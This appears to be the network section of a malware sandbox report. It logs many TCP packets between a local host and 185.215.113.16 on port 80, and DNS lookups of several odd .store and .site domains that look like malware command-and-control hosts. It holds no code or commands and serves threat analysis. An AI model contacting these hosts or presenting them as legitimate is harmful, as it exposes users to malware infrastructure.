Oct 22, 2024 19:25:18.188507080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188517094 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188518047 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188534975 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188544989 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188551903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188559055 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188579082 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188579082 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188591957 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188595057 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188611031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188618898 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188620090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188636065 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188649893 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188652992 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.188671112 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.188688040 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219271898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219285965 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219300985 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219332933 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219348907 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219364882 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219379902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219403982 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219419003 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219419956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219435930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219450951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219465971 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219471931 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219471931 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219471931 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219480038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219485998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219495058 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219501019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219511986 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219528913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219531059 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219531059 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219546080 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219563007 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219563007 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219582081 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219593048 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219625950 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219640970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219641924 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219666958 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219686031 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219728947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219746113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219760895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219774961 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219777107 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219794989 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219801903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219801903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219811916 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219826937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219827890 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219849110 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219928026 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219942093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219955921 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219970942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219985008 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.219985962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.219985008 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220001936 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220005035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220017910 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220030069 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220031023 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220032930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220050097 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220062017 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220074892 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220074892 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220084906 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220098019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220101118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220117092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220129013 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220154047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220154047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220172882 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220187902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220204115 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220217943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220231056 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220252991 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220273018 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220407009 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220428944 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220449924 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220462084 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220474005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220484972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220489979 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220505953 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220520973 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220539093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220544100 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220544100 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220544100 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220554113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220568895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220570087 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220585108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220586061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220602036 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220635891 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220635891 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220648050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220663071 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.220700026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.220700026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.236809969 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.237003088 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.237202883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.237375975 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301683903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301717997 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301733971 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301779985 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301795959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301811934 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301836967 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301853895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301867962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301891088 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301883936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301907063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301939011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301955938 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301975012 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.301980972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301980972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301980972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.301981926 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302014112 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302014112 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302061081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302076101 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302092075 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302108049 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302119970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302119970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302124977 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302144051 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302148104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302149057 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302164078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302170038 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302181005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302191019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302196980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302212954 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302218914 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302218914 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302229881 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302253962 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302253962 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302258968 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302275896 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302279949 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302294970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302308083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302314997 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302324057 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302340031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302356958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302361965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302361965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302372932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302382946 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302390099 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302402020 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302406073 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302422047 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302422047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302445889 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302445889 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302445889 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302459955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302470922 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302475929 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302491903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302499056 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302499056 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302508116 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302524090 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302525043 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302524090 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302541018 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302550077 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302556038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302570105 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302573919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302573919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302594900 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302611113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302624941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302625895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302625895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302625895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302640915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302650928 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302656889 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302670956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302671909 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302687883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302697897 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302697897 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302712917 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302716970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302727938 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302736044 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302745104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302757978 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302762985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302762985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302772045 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302789927 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302791119 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302791119 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302810907 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302814960 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302829981 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302830935 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302853107 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302877903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302884102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302884102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302884102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302891970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302901030 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302916050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302927017 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302933931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302951097 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302953959 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302953959 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302966118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302979946 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.302985907 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302985907 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.302995920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303005934 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303011894 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303030014 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303030014 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303035021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303056002 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303056955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303073883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303073883 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303088903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303093910 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303105116 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303111076 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303119898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303136110 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303138971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303138971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303158998 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303169012 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303169012 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303174973 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303190947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303195000 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303206921 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303215027 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303222895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303230047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303246975 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303257942 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303257942 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303261995 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303277016 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303282022 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303292990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303296089 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303309917 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303335905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.303347111 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.303347111 CEST	49728	80	192.168.2.8	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 22, 2024 19:24:19.178951979 CEST	192.168.2.8	1.1.1.1	0x5c9e	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.193396091 CEST	192.168.2.8	1.1.1.1	0x4dd4	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.206861973 CEST	192.168.2.8	1.1.1.1	0x8671	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.220791101 CEST	192.168.2.8	1.1.1.1	0xa850	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.236700058 CEST	192.168.2.8	1.1.1.1	0x326a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.260598898 CEST	192.168.2.8	1.1.1.1	0x3d71	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.272669077 CEST	192.168.2.8	1.1.1.1	0x2951	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.305233002 CEST	192.168.2.8	1.1.1.1	0xcd25	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.320993900 CEST	192.168.2.8	1.1.1.1	0xce	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:21.858649969 CEST	192.168.2.8	1.1.1.1	0xd7ba	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.677644968 CEST	192.168.2.8	1.1.1.1	0xe9eb	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.692392111 CEST	192.168.2.8	1.1.1.1	0x907e	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.711909056 CEST	192.168.2.8	1.1.1.1	0x6a2	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.724421024 CEST	192.168.2.8	1.1.1.1	0xd814	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.734302044 CEST	192.168.2.8	1.1.1.1	0x342a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.745331049 CEST	192.168.2.8	1.1.1.1	0x374	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
